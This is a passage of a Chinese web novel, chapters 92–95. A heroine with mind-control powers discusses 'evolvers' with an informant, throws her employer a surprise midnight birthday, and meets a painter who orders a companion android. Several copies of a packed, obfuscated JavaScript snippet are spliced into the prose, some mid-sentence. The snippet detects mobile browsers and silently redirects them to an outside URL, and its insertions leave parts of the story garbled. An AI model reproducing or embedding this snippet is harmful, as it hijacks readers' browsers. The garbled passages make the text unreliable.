庾林听了顿了许久,最后只轻声调侃:“你的要求是不是越来越随意了?” 嘴上一副不情愿的口吻,可并没有细问周拾秋想用他身体做什么,挂了电话没一会儿,庾林就发来了委托任务。 周拾秋便用庾林手机联系上了柴星曜。 一问才知,柴星曜还真查到了点眉目,但结果与周拾秋预想的有些许不同。 柴星曜借着与进研所暗中生意往来的关系,向进研所打听了关于进化者的研究数据,研究人员明确表示,从未有过异能转移的案例。 这样的结果令周拾秋灰心丧气,本以为调查陷入了死局,可柴星曜接下来的话又引起了她的兴趣。 柴星曜说:“专业人士透露,异能转移的案例虽没有,但诅咒转移的案例至今曾出现过一次。” 虽然这事听上去跟周拾秋和庾林的情况没什么关系,毕竟庾林身上并没有出现周拾秋的诅咒,但不妨碍她感兴趣听上一听。 于是周拾秋说话的语气中不自觉透着一股兴奋劲儿,“说来听听,是谁啊?怎么转移的呀?” 这个故事说起来稍微长了点,柴星曜在开讲前,先给周拾秋科普了一下进化者的异能与诅咒的关系。 从进化者身上的异能觉醒起,诅咒便相伴而生。从某种意义来说,诅咒是对拥有超凡力量之人的一种限制和枷锁。 当你拥有什么与众不同的能力时,必定会有某一方面的缺失。 似乎只有这样,才可达成这个世界的相对平衡。 柴星曜举了个例子:“你知道上次到温泉山庄寻你那个进化专员吧?” 周拾秋此刻犹如一个认真听讲的学生,听着电话那端的说话声,还下意识地点了点头,“昂,施煦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柴星曜突又神神秘秘地补充道:“其实,进研所那伙计嘴不太严实,聊多了一不小心给我透了个底,说是近年也发现了一位极危进化者,你猜是谁?” “你说得好像我认识的进化者很多一样,我们进化者之间互不联系好吧,我知道的还没你这个暗魈老大多呢。”周拾秋嘀咕。 她说的是实话,进化者之间鲜少联系,毕竟都是在逃者,多是战战兢兢过日子,万一有谁被进研所发现,那可能会连带着被调查。 这种高风险的事,很少人会愿意做。 “呵,这个人,恐怕现在无人不知。”柴星曜笑得有些得意,顿了顿,才宣布这个人的名字,“夜白鹭!” 感觉空气在这一瞬间凝固了。 周拾秋心情复杂,望着前方发呆。要问她此刻怎么想,好像得到了奇怪的认可,又好像被人宣判了死刑。 她曾想过,如果被进研所发现,那便从此失去自由,失去自我人格。后来得知暗魈与进研所的暗中交易,她又幻想从此成为暗魈的工具。 却唯独没有想过,被进研所抓住就是死。 93. 第093章 “蝠哥,蝠哥?怎么不说话了?睡着了?” 耳边传来一声声呼唤,将周拾秋的思绪拉回了现实,从错愕中回过神,她强装镇定回道:“啊,没事,夜白鹭是我偶像,听到她是极危进化者,一时有些接受不了。” “我懂你!” 柴星曜感同身受般接话,“五年前我就不信大神会暴走杀人,所以建立了暗魈,试图查清当年真相,还大神清白。” 平日一副玩世不恭模样的柴星曜,如此这般说着大义凛然的话,竟让周拾秋莫名有几分感动。 如果柴星曜知道周拾秋就是他口中的大神,不知会作何感想。 “谢谢。”周拾秋感激道。 “谢我干嘛?”柴星曜愕然。 “嗨呀,你为我偶像做这么多,可不得感谢你嘛!”周拾秋恭维。 这一夸,倒让柴星曜有些不好意思,乐呵呵地谦虚道:“哈哈哈哈,这算什么,只可惜暗魈一直强调瑞波恩科技的阴谋,进研所却不为所动。” 电话那端传来锤桌子的巨响,显然柴星曜耿耿于怀。 周拾秋刚想出言安慰,又觉哪里不对,转而疑声问道:“你有没有想过,进研所追捕夜白鹭,不是因为她杀了人,而仅仅因为她是进化者?” “……” 对面沉默了。 周拾秋一时不知该说他什么好,方才的感动,如今看上去有些好笑。 漫长的沉默后,柴星曜咳嗽一声,仿佛从未听到周拾秋说什么一般,彻底转移了话题,想以此掩饰心中尴尬。 “暗魈原本提出的理论是大神落入了瑞波恩科技与VIP客户联手设下的陷阱,五年来,大神一直下落不明,很可能早在五年前就遇害了,现在占据大神身体的根本就是VIP客户。” 柴星曜说得头头是道。 他这种说法听上去挺有道理,也解释了为何进研所五年都没追查到夜白鹭的任何线索。 如果周拾秋不是夜白鹭本人,或许就被他的想法说服了。 周拾秋尴尬一笑:“呵呵,挺有趣,怎么没能说服进研所呢?他们这么固执吗?” 忽然,柴星曜声音高亢地开口道:“帮你打听情报时,我还意外听到一个消息!” 周拾秋被他兴奋的状态吓了一跳,小心询问:“什么消息?” “就在不久前,与大神几乎一致的异能值出现在凌沪市!大神沉寂五年,终于再度现身了!”柴星曜难掩欣喜若狂的情绪。 “……” 周拾秋傻眼了。 很明显,这个消息指向的正是周拾秋。 柴星曜:“大神回归,一定会让所有陷害过她的人自食恶果!” 周拾秋:“呃,她也可能没有这种想法……” 柴星曜:“你不懂!以大神的力量,谁要找她不痛快,她必让人痛不欲生,哈哈哈……” 周拾秋:“不至于,真不至于……” 柴星曜:“蝠哥,你怎么回事,干嘛唱衰大神?她不是你偶像吗?你个假粉……” 听柴星曜的语气,是真的有些气恼,周拾秋哭笑不得,一时不知道该如何解释好。 正当她苦恼着该如何开口时,柴星曜偶然想到了什么,带着疑惑问道:“你刚才说你的异能是意识控制?” “昂,怎么了?” “你和大神的异能一样啊……” 一句话,场面霎时间被冰霜冻结了一般,周拾秋能听到耳朵里愈发清晰的心跳声。 莫非柴星曜终于发现了? 要实话实说吗? 他这么拥护夜白鹭,应该告诉他也无妨吧? “其实我……” 话刚说出口,便被柴星曜打断:“与大神相同异能,不愧是我看好的人!” “哈?” “与偶像撞异能,心里乐开花了吧?” “呵……” “放心,蝠哥这样的人才,我暗魈一定全力护你!” “哦……谢谢曜哥……” 柴星曜是丝毫没有考虑过拥有相同异能的二人实际是同一人的可能性,周拾秋被他一句话噎住,也不好意思表明自己夜白鹭的身份了。 了解到的情况暂且就这么多,柴星曜表示会继续帮忙调查,如果有新进展,会再联系她。 挂断电话回到自己身体,周拾秋才有空静下心来思考庾林身上的问题。 很明显,柴星曜提及的情况并不能套用到周拾秋和庾林身上。进化者能转移的只是诅咒,而非异能,而她与庾林的情况似乎恰好相反。 异能这个问题暂且不谈,庾林的心病也许真就只是心病,也许,他在那场大火中当真受了刺激,产生了应激性后遗症。 是因为张婶的背叛而产生排斥,还是被她吓到了呢? 心中实在放不下,周拾秋就给庾林打了个电话,想跟他好好聊一聊心病的问题。可她一说这件事,还没扔出自己的猜想,就被庾林截住了话头。 “我已经想通是怎么回事了,晚上过来找我。” 庾林只说了这一句,就匆匆挂断了电话,仿佛担心她会拒绝似的。 “我都还没想通,你就想通了?”周拾秋对着手机屏幕,一脸质疑。 抵达庾林所在公寓楼下时,夜幕已然降临,雨雪早就停了,但天上云层很厚,将月光尽数挡住,天色便显得更暗了。 下了车,周拾秋一路嘀咕着坐上电梯。 “庾木木,害我跑这么远,你如果没有合理的结论,以后再委托任务可得当心,我保证会有过激行为。夜跑如何?不穿衣服那种!” 低声自言自语,周拾秋来到了602门前。 “叮——咚——” 门铃声响起,可周拾秋等了又等,也没人来应门。 按理说不应该,是庾林叫她过来的,总不能明知她会来,还挑这个时候出门。 “叮——咚——” 又按了一次门铃,等了十来秒,也没听到任何动静。 还好周拾秋记得房门密码,不耐烦地输入密码,推门而入。 房子里漆黑一片,不似有人在家。周拾秋放缓脚步,往屋子里探,伸手寻到电灯开关,来回按了两下,灯没亮。 楼道里有灯,说明没有停电,那屋子里怎么跟断电了一样呢? 一股莫名的凉意自心间蔓延,一种不好的预感油然而生。 莫不是出事了? 周拾秋立马屏气凝神,感知着周围的气息。黑暗中悄无声息,并没有预想中的异能气息。刚松了一口气,一个念头又立马飞入脑中:难道那伙罪犯已经得手?庾林遇害了? 不对不对,如果庾林真遇到危险,她一定会被强制传送。既然没有,那就证明庾林还活着。 站在黑暗中胡思乱想着,忽闻一声叹息,十分微弱,但在视线不明的情形下,很容易就被耳朵捕捉到了。 屋里还有人! 周拾秋蹑手蹑脚循着声音方向前进两步,隐隐约约感觉黑暗中有个人影,就坐在客厅沙发上。 “庾木木?”周拾秋小心唤了一声。 又是一声叹息,却没有回她的话。 难道已经被异能控制,陷入了某种幻觉之中?周拾秋如此想着,赶紧加快脚步,摸黑磕磕绊绊地绕到沙发处,伸手触碰到了一个人。 周拾秋的手在那人身上摸索,从手臂一直摸到脸颊,再抚上耳朵,然后手指使力,揪着那人耳朵喊道:“庾木木,你清醒点!” “嗷……疼疼疼……” 一只手掰着周拾秋的手指,庾林吃痛的叫声在黑暗中回响,听声音十分清醒,不像失去意识。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137185|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周拾秋这才松了手,转而骂道:“你干嘛呢?敲门也不应,进门也不说话,一个人坐在黑屋子里装神弄鬼……康管家人呢?” 庾林揉着耳朵,又叹了口气,“跟物业检查线路去了,可能是电路跳闸。” “哦,跳闸呀……你就不能说句话吗?害我白担心,差点以为那伙人找上门来了呢……”周拾秋不满地嘀咕了一句。 今日庾林有些奇怪,随口道了声抱歉,也没解释缘由,情绪似乎有些低落,不住地叹气。 “要不你改天再来?”庾林突然提议。 周拾秋感觉拳头都硬了,忍着心中怒火,耐心道:“呵呵,不是要聊你心病的事吗?有灯没灯都一样,你不会打算让我忍着这份好奇心,回去再等两天吧?” 说话间,周拾秋的拳头已经趁着视线不明,默默举到了庾林面前,与其说是商量,不如说是威胁。 可惜庾林没有被她吓唬到,或者说,庾林根本没兴致与她开玩笑。抬手将周拾秋的手推回,庾林丧气地说:“今天没气氛了,改天吧……” “嗯?你想要什么气氛?” 周拾秋简直无法理解,讨论病情还要挑日子看气氛? “嗯嗯,甚至还得找大师卜上一卦。” 庾林嘴上胡说八道,在黑暗中站起身,将周拾秋从沙发上拖了起来,二话不说便将周拾秋往门外请。 周拾秋忍不住质问:“庾木木,我开了两个小时车过来,你一句没气氛就把我打发了?” 背后推着她的手陡然一顿,庾林声音带着点迟疑,幽幽在她耳边响起:“要不你先在这儿住一晚,明天工作结束,我们再谈这个话题?” 说完也不管她答不答应,双手一左一右搭上她的肩,强制为她调转方向,推着她往房间走去。那样子就像是不想让周拾秋在客厅里久待,令人疑惑客厅里究竟藏着什么要命的秘密。 正当周拾秋一脸困惑地挣扎时,客厅里的灯突然亮了。 突如其来的亮光让习惯了黑暗的双眼一时难以适应,周拾秋眯着眼缓了好一会儿,搭在她肩上的手指明显收紧。 “啊,这么晚了,乌鸦小姐干脆在附近找家酒店住上一晚。” 庾林嘴上说着莫名其妙的话,整个人窜到了周拾秋面前,被头顶灯光照出的影子立马笼罩住周拾秋,几乎浑身都在使力,推着周拾秋往房门口后退。 “不是让我在这儿暂住一晚吗?”周拾秋一头雾水。 “不,不方便,我刚想起,房间还没收拾出来。” “我可以自己收拾……” “别浪费时间了,到酒店早点睡,免得耽误明日的工作。” “啊?不是,现在才8点……” 两人推搡间,屋外传来急促的脚步声,康管家进屋关上门,嘴里念叨道:“老房子,线路老化,承受不住那么高的电压,跳闸了。星光灯不行,要不试试投影氛围灯?效果虽然差了些,但氛围……” 玄关处,康管家一转身就撞上两道视线。 庾林刚将周拾秋倒推着走到玄关处,双手还搭在周拾秋肩上,见到康管家回来,还把门关上了,眼神简直想刀人。 周拾秋转过头,眼中充满困惑,看见康管家就像看到了救星,开口就想让康管家评评理。 “你家主人又发什么疯,大老远叫我过来,屁股还没坐热就赶客……” 说话间,周拾秋的视线自然下落,最后定在了康管家的手上。那两只手中,此刻正捧着一个圆球模样的投影仪。 一看见周拾秋的脸,康管家下意识想将手上的东西往身后藏,可东西体积大了些,他左绕右绕半晌,都没能成功将东西藏住,只得尴尬地扯着嘴角冲周拾秋微微一笑。 康管家:“我回来的好像不是时候……” 庾林冷笑:“你知道就好……” 94. 第094章 公寓602室的客厅里,庾林坐在沙发上,一只手揉着眉心,愁容满面,康管家恭敬地立在他身后。 而周拾秋此刻正在客厅里踱着步,目光四处打量,欣赏着电线如蛛网一般爬满整个天花板,又如藤蔓一般挂满四周墙壁,鲜花与满天星灯作伴,共同点缀其间的盛景。 只可惜,不能开灯看看效果,因为刚才的黑暗就是它的杰作。 周拾秋转完一圈,又回到康管家身旁,指了指他手里的投影仪,一脸好奇地说道:“嘿嘿,看看吧,来都来了。” 康管家瞥了一眼庾林,见他没什么反应,便点了点头,找了个合适的位置将投影仪放好,插上电,关闭屋顶灯,然后打开了投影仪。 一瞬间,一整条星河涌入房间,纵横东西,蜿蜒流动,或紫或蓝的光点交织在一起,静谧而神秘。 “嚯……这是准备开什么派对?” 周拾秋仰着头,望着绚丽的投影,嘴里不禁感叹。 “这……你问庾先生吧。” 康管家一句话将自己撇了出去,埋着头,悄悄逃离了客厅。 周拾秋便带着一脸审视的笑,坐到了庾林的身旁,没有说话,只是死死盯着庾林。 感受到她强烈的视线,庾林无奈地转过头,一本正经地回答:“装修。” “装修挂这么多灯,你是有多怕黑啊?”周拾秋忍不住讽刺。她不知道庾林自己有没有相信,反正她是半个字都不信。 或许是受不了周拾秋刨根问底,庾林沉默片刻后,看似妥协地说道:“是派对,我明天生日,让康管家帮我布置派对现场,没想到搞砸了,所以暂时没有心情聊别的。” “真的?”周拾秋觉得有些凑巧。 庾林神情自若,“当然,要不把身份卡拿出来给你过目?” 见庾林当真要起身往卧室走,周拾秋拉着他的衣服将人拦了下来,“我信,那你明天还接工作?” 庾林微微皱了皱眉,轻咳一声,道:“我很长时间不过生日了,工作更重要些。” “今年又突然想过了?”周拾秋问。 “嗯,总得尝试回归正常生活。”庾林答得坦然。 这一下,周拾秋彻底放下了疑心,甚至感觉自己有点想太多,刚才还怀疑庾林藏着什么秘密。 辛苦准备过生日,却被电路搞砸了,确实没心情再考虑别的事。 周拾秋理解地点了点头,随即站起身告辞:“那你好好休息,我今天就不在这儿打扰了,到附近找间酒店住一夜,明天下午再来接你。” “嗯?不用了,都被你看到了,没必要那么麻烦。” 庾林想要劝阻,可周拾秋打定了注意,冲他挥了挥手,便直冲冲离开了602。 一路跟到房门口,看着房门“砰”的一声在眼前关闭,庾林心里苦不堪言。 抬眼看了一眼布置了几小时却只亮了几秒的满天星灯,还有地上那个看上去有些敷衍的星空投影仪,庾林懊恼地踢了一脚柜子,然后被疼得抱腿哀嚎。 客厅角落里,还藏着一捧99朵紫罗兰与白玫瑰搭配的花束,在星光投影仪的微弱光亮下,显得有些孤寂冷清。 临近午夜0点,公寓602室的房门传来“滴滴滴”的按键音。 房子主人喝了酒刚刚睡下,迷迷糊糊听见这阵响声,却只是翻了个身,便继续睡了过去。 康管家觉察到异样,从房间里走了出来,淡蓝色的眼瞳在黑暗中巡视了一圈,只见一个黑影出现在门口。 那黑影冲康管家挥了挥手,康管家便转身走回房间关上了房门。 夜里的入侵者如入无人之境,朝着庾林所在的主卧缓步走去。 脚步很轻,那影子不一会儿便飘到了主卧门口,一只手搭上门把手,轻轻一转,房门便被打开了。 一阵风,从微微开启的门缝里吹入房中,吹得床上的庾林打了个寒颤。一瞬间,吹散了酒意,庾林只觉背后有一道视线,正肆无忌惮地窥视着自己。 黑暗中,视觉以外的感官变得异常敏感。 空气不寻常的流动,不明显却存在的微弱呼吸声,隐隐传入鼻腔的甜味,都随着他逐渐强烈的心跳变得清晰起来。 房门被缓缓推开,若有似无的脚步声越来越近,布料的摩擦声,身后的人影似乎正在从衣兜里掏出什么东西。 逃吗?该往哪儿逃? 是那伙进化者吗?他能逃掉吗? 他没有听见康管家的警示,那么康管家大概率是被控制了。 如果同样要将他伪装成自杀,周拾秋或许还能救他。 对,还有周拾秋,还有危机管理局的手环。 可真的要让周拾秋也陷入这种危险吗? 不过是几秒钟的时间,庾林脑海中思绪翻涌。浑身肌肉紧绷,他一时竟不敢动弹,只竖起耳朵听着身后的动静。 那黑影渐渐走到了床边,却突然没了动静。 他依旧能感觉到居高临下的视线,可不知对方在犹豫什么。一直没有动作,反倒令庾林愈发紧张起来,就像悬而不落的刀片,时刻散发着骇人的寒光。 一道微弱的亮光骤然出现,庾林只能凭直觉判断,那是手机屏幕的亮光。 是在联系同伙吗? 大约过了两分钟,每一秒都如同刑罚,施加在庾林的心上,折磨着他紧绷的神经,脑子里有根弦,仿佛随时都可能断掉。 清脆而短促的咔哒声倏然响起,在这寂静无声的空间里异常刺耳。 那声音很耳熟,正当庾林在试图联想之时,火光扭曲着房中的影子,在身后陡然亮起。 霎时间,五年前那场大火的记忆被从堆满灰尘的角落抽了出来,对死亡的恐惧瞬间席卷全身,摧毁了他最后的理智。 远离……逃跑…… 脑海中只有这一个念头,庾林惊慌失措地控制着手脚,从床上爬起,向着远离火光的方向冲了出去。 绵软的床垫与碍事的被子送了他一份大礼,拼劲全力逃走,却因用力过猛而失去平衡,脚被被子绊了一下,庾林整个人从床上摔了出去。 “砰嗵——” 一声巨响,庾林摔在床边地毯上,发出一声闷哼。 “啊!庾木木,你干嘛?” 周拾秋略带诧异的声音在房中响起,她绕过床走到庾林身旁,俯身搀扶,满是疑惑的脸出现在摇曳的火光之后。 她手里正端着一个4寸大小的慕斯蛋糕,蛋糕上燃着一根蜡烛。 庾林方才看到的火光正来自于这根蜡烛。 虚惊一场…… 庾林没有理会周拾秋的搀扶,平躺在地上喘着气,被汗湿的额间碎发,似乎记录着方才的一切确实发生过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15141311|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我吓到你了?” 周拾秋蹲下身,望着躺在地上喘息的庾林,又看了一眼手里的蛋糕。 摇曳的火光让她意识到哪里不对,于是将蛋糕搁到床头柜上,才又伸手拉庾林起来。 庾林缓过神,在周拾秋的拖拽下,坐起身。 “你怎么突然回来了?”庾林低声询问。 周拾秋不好意思地笑了笑,指了指床头柜上的蛋糕,说:“你不是说今天你生日吗?已经过0点了,生日快乐!” 一时分不清是惊喜,还是惊吓。 后知后觉的庾林此刻才觉得失了颜面,狼狈站起身,手足无措地在床边转了一圈,最后索性拿起那个蛋糕,轻声道了句谢。 在火光的衬托下,绯红的脸色也显得格外自然。 “吹蜡烛许愿吧!” 周拾秋浑然不觉,乐呵呵地推进着庆生流程。 庾林顺从地闭上眼,对着蛋糕许了个愿,而后吹灭蜡烛。 黑暗中响起周拾秋的拍手声,打趣地庆祝庾林又长了一岁,并好奇问庾林许了什么心愿。 “说出来不就不灵了吗?”庾林委婉拒绝。 周拾秋不依不饶:“哎呀,你说出来,万一我可以帮你实现喃?” 对于她这点好奇的小心思,庾林自然心知肚明,也明白这心愿不老实交代,今晚怕是睡不安稳,于是故作认真地答道: “我希望世界和平,乌鸦小姐,靠你了。” “……” 周拾秋在心里礼貌问候了庾林。 见周拾秋沉默,庾林心满意足地转身打开了床头灯,随后将蛋糕塞回到周拾秋手里,笑道:“惊喜任务完成了,你可以吃掉蛋糕,再找康管家安排间客房,赶紧休息!” “嗯?你不吃?”周拾秋满脸写着不乐意。 “这个时间点,我可下不去口。”庾林看着蛋糕,一脸抗拒。 “要我帮忙吗?”周拾秋敲了敲手环,露出一脸坏笑。 又能饱口福,又不用担心发胖,这种好事,周拾秋自然乐意。可她能想到,庾林自然也能想到,根本不上套。 庾林推着她往房间外走,一副送客的架势,嘴上不客气地拆穿道:“想都别想,这么美味的东西,你还是独享吧。” “哎呀,别啊,我开玩笑的,你就吃点吧。临时没有准备,我跑了好多家店,才终于买到,虽然不是定制,但也是一番心意嘛!” 周拾秋一边挣扎着对抗庾林的推力,一边将蛋糕举到庾林眼前,嘴里撒娇一般劝说着。 一时拗不过周拾秋,庾林停在了放门口,妥协道:“我吃一口行了吧?” “昂!” 周拾秋瞬间喜笑颜开,送上蛋糕,又奉上刀叉。 庾林一脸无奈,依言切下一小块,放进嘴里,算是完成了庆生的最后一步,然后便看着周拾秋心满意足地拿着蛋糕离开了主卧。 这一夜,虽闹出点乌龙,但蛋糕很甜,甜到庾林心坎里去了。 平时做事不着调的人,想不到也有细腻的时候,是否因为心里有他呢? 周拾秋的身影没入黑暗中,蹦蹦跳跳前去打搅康管家了,庾林只是静静地从虚掩的门缝中偷偷注视着。 心里胡乱猜测着,他决定等到工作结束,就向周拾秋坦白,至于结果如何,只希望他许的愿当真能实现…… 95. 第095章 再次见到黎浩哲是12月10日的下午。 当黎浩哲开门看见周拾秋同行时,脸色有些异样,那是对守旧者的偏见,跟她在殡仪服务区看到的一样。 庾林毫不在意,黎浩哲明面上也不好说什么,便客客气气将两人迎进了门。 黎浩哲是个画家,他们见面的地点就安排在黎浩哲的个人工作室,或许是为了方便与庾林商量定制仿生人的事,工作室里只有他一人。 画室里摆放着许多黎浩哲的画作,多以人像绘画为主。有一幅画最是显眼,就挂在一面墙的正中央,面上却盖着一块白布。 黎浩哲带两人到一旁休息区坐下,又送上两杯咖啡。庾林动作自然地将咖啡杯往周拾秋面前挪了挪,随即便问起定制想法。 不过黎浩哲却不急着聊这件事,岔开话题聊起了别的。 “我听说石桀被抓了!”黎浩哲十分八卦地说道。 庾林对石桀这个名字还有点印象,她记得周拾秋跟褚成舟商讨案情时,提到过这个人,并听说了黎浩哲背地里八卦桑云海的事。 “哦,所以喃?”庾林表现得兴致不高。 黎浩哲激动道:“这不说明云海不是自杀,并且下手的可能是守旧者嘛!” 一开始,周拾秋还只是觉得黎浩哲这人天生爱八卦,可听到这里,周拾秋忽然觉得有些刺耳。他本可直接说石桀是凶手,却偏偏用了“守旧者”这个字眼。 也许是周拾秋身为守旧者的敏感,可这种说法,不得不令她怀疑,黎浩哲真实想表达的意思,是劝庾林小心。 周拾秋尴尬地抿了一口咖啡,极力掩饰自己听明白了话中含义。 “你找我来好像不是为了抓住杀害云海的凶手。”庾林语气冰冷地打断了这个话题。 黎浩哲觉得无趣,重重叹了口气,见周拾秋在场,也不好明着劝说,只好暂且作罢,调转话题:“哦,我想请你帮我设计个仿生人,工作时能提供情绪价值。” “工作助手?”庾林抬眼盯着黎浩哲。 黎浩哲一脸真诚:“不,要准确说的话,是情人。” “噗——” 周拾秋一时没忍住,一口咖啡全部喷了出来。 黎浩哲一脸嫌弃地看了她一眼,起身去拿来纸巾。 庾林一脸淡定,面不改色地接过纸巾盒,递了张给周拾秋,让她擦擦嘴,又自己抽了几张,擦拭她衣服上的污渍和桌上残留。 与此同时,庾林漫不经心地安慰:“不用太惊讶,有这种需求的客人不在少数,见多了就习惯了。” 周拾秋红着脸点了点头,不敢发表任何观点,只是偷瞥了黎浩哲一眼。 “喂,别把人说得跟变态似的!”黎浩哲一脸尴尬,“不是你想的那种!” 庾林收拾完毕,才平静地追问:“哦,不要那方面吗?” “不要,不要,能不能把你调侃人的恶趣味收一收。”黎浩哲气恼地回应。 庾林低头偷笑,随即又收敛笑容,一脸严肃地询问:“有原型需求吗?还是说什么样子的你都可以?” 黎浩哲不满道:“啧,我怎么总觉得你的话又往奇怪的地方歪了呢?” 庾林耸了耸肩,“怎么会,是你想歪了,才会觉得我在内涵你。” 周拾秋安静地看着两人谈话,不由得在心里为黎浩哲默哀,现在黎浩哲大概是这世上最理解她心情的人了,和庾林说话,得有足够强大的内心。 “总之不是你想的那样。”黎浩哲无奈地强调了一句,随即站起身,示意庾林跟上。 在黎浩哲的带领下,庾林和周拾秋又回到了摆满画作的画室里。黎浩哲在墙上那副用白布遮盖的画前站定,像是下定了什么决心,轻轻扯掉了白布。 一张被装裱起来的人像画出现在三人眼前。 画上是位长相出众的美人,年轻,灵动…… 顺直的长发,清秀的脸,就连微笑时眼睛弯出的弧度都恰到好处。是那种走在大街上,能吸引所有人目光的存在。 这幅画,是女人回眸的瞬间,那双眼睛里仿佛装着漫天繁星,深邃而魅惑。微微勾起的唇角,似乎宣泄着对眼前人的极致温柔。 这是一幅具有灵魂的画作。 周拾秋一时分不清,是画师的手法太过精妙,还是模特太过惊艳,令她久久移不开眼。不仅仅因为太震撼,还因为画上这名女子,她总觉得在哪里见过。 庾林此刻也摸着下巴皱着眉,低声呢喃:“这人……我好像在哪里见过……” 黎浩哲闻言并不惊讶,轻笑一声,说:“你就算见过也不奇怪,三年前她还是自由区红极一时的女歌手,可惜一年前……出了点事,退圈了。” “我从不关心娱乐圈……”庾林坦言。 “也许以前出席过商界晚宴,所以你见过吧。”黎浩哲说。 “我基本不出席商界晚宴……”庾林又嘀咕了一句。 此时周拾秋小心翼翼举起手来,苦笑道:“那我会在哪里见过她呢?你们自由区的女歌手,好像不会火到我们禁仿区来……” “啊?你……你是不是经常混到自由区来啊?”黎浩哲有些懵。 听他这么一说,周拾秋开始还觉得有道理,可细想之下又觉得不合理。她五年前倒是因为委托经常出现在自由区,但那时这女歌手还没火。然后就是最近半年,也因为委托,可如今这女歌手已经退圈了。 心里虽有疑问,但周拾秋并没有说出口,毕竟这不是什么重要的事,她更不能暴露自己危代人的身份。 庾林当机立断道:“无所谓,反正你确定要以画上的女人为原型,定制陪伴型仿生人就行了。” “嗯,只是陪伴,没有别的意思哦!”黎浩哲再三强调。 庾林故意露出微妙的笑容,说:“知道,放心,不会强加特殊设定,态宇一向尊重客户意愿。” “啧,你说这种话,我怎么那么不信呢?”黎浩哲总觉得有点解释不清了。 周拾秋此刻看黎浩哲的眼神,就跟看一个死变态一样。 “对了,如果你需要仿生人的性格也完全跟原型一样,我需要对熟悉她的人进行问卷调查,提供数据支持。”庾林公事公办地说。 黎浩哲闻言却摇了摇头,“不,不用依照她的性格定制,按照我的想法设计就可以了。” “咦——”周拾秋有些生理性排斥,忍不住嫌弃出了声。 在庾林和周拾秋双重精神压力下,黎浩哲实在受不了了,索性摊牌道:“哎,你们哪儿是来工作的,根本就是来折磨我的吧?看你们这反应,我都快怀疑自己有什么奇怪癖好了!” “要不自信点,把怀疑去掉。”庾林态度温和地说着残忍的话。 “你……天啊,我交了个什么朋友……行了,我说,别再用奇怪的眼神看我了!”黎浩哲狠狠瞪了庾林和周拾秋一眼,威胁道。 “一开始坦诚不就好了,何苦浪费彼此时间。”庾林轻飘飘地回了一句,然后带着周拾秋返回休息区。 周拾秋还有些懵,显然庾林看出黎浩哲有所隐瞒,才故意演了这么一出,只有周拾秋真的怀疑黎浩哲是变态。 画上的女人其实是黎浩哲的前女友。 三年前,两人因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15149606|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作原因相识,进而发展成恋人。可那时的女友,事业正值巅峰,因此两人的恋情并未公开,而是发展成了地下恋情。 两人交往近两年,终于到了谈婚论嫁的地步,结果女友提出了分手。 说到这里,黎浩哲一副神伤的模样,似乎这么久,还未走出阴霾。他红着眼,略微羞愤地说:“你知道她跟我说的分手理由是什么吗?” “她是进化者?”庾林淡然答道。 黎浩哲:“啊?你怎么知道?” 周拾秋:“什么?不会吧!” 两人几乎同时惊讶地叫出了声。 庾林看着周拾秋,轻笑道:“刚想起来在哪儿见过她了,进研所的档案管理专员。” “啊!” 周拾秋恍然大悟,她就记得在哪里见过同样美貌的女子,一时倒没往进研所想。 那女人的名字她还记得,叫肖蕾。 黎浩哲挠了挠头,有些不好意思,“原来你去过进研所啊……是的,她是进化者,很可笑吧,相恋两年的人,居然是进化者。” 这话落入周拾秋耳朵里,总觉得有些不中听,其中的成见似乎比守旧者还要深一些,令她心里憋得难受。 庾林见她埋头气鼓鼓的模样,悄悄拍了拍她的手背,转而问黎浩哲:“你们分手不止因为她是进化者吧?” “嗯,进化者的身份是她分手时告诉我的,即便这样,我也没想跟她一刀两断!”黎浩哲坦诚解释,“可接下来,她告诉我,对我根本就没有爱,与我在一起,也只是为了满足生理需求。” 黎浩哲说这话时,感觉后槽牙都要咬碎了,仿佛受了什么奇耻大辱,脸色涨得通红。 进化者,普遍存在或多或少的缺陷,他们大多没有同理心,要么人格缺陷,要么情感缺失,甚至还可能有奇怪的偏执。 而肖蕾就是属于情感缺失的这类人,她感觉不到情感需求,有的只是本能的生理欲望。 所以当黎浩哲跟她谈及婚姻时,她果断选择了退出。 周拾秋不好评价什么,只是她挺能理解肖蕾。 